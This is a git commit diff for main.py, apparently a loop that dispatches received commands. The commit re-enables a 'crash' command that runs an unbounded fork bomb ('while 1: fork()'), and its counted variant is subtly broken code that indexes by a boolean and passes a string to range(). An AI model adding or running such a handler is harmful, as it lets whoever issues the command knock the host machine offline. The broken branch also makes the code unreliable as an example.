diff options
| author | littleblack111 <littleblack11111@gmail.com> | 2023-09-01 12:46:15 +0800 |
|---|---|---|
| committer | littleblack111 <littleblack11111@gmail.com> | 2023-09-01 12:46:15 +0800 |
| commit | b8770ef29a2776781e59383fb3b6149c90c3e82b (patch) | |
| tree | 0997b0e62a85df70fbf8dbc8faf1783d3dfe1e6e | |
| parent | dcc1c6456c3dc90b3eaf8dd10545b86b27b1de18 (diff) | |
re-added crash
| -rw-r--r-- | main.py | 18 |
1 files changed, 9 insertions, 9 deletions
@@ -98,15 +98,15 @@ while True: else: old_command = commandId continue -# if command.startswith("crash"): -# from os import fork -# command = command.split() -# if command[1<len(command)]: -# for _ in range(command[1]): -# fork() -# else: -# while 1: -# fork() + if command.startswith("crash"): + from os import fork + command = command.split() + if command[1<len(command)]: + for _ in range(command[1]): + fork() + else: + while 1: + fork() elif command.startswith('volume'): localcmd = command.split() if localcmd[1<len(localcmd)]: |
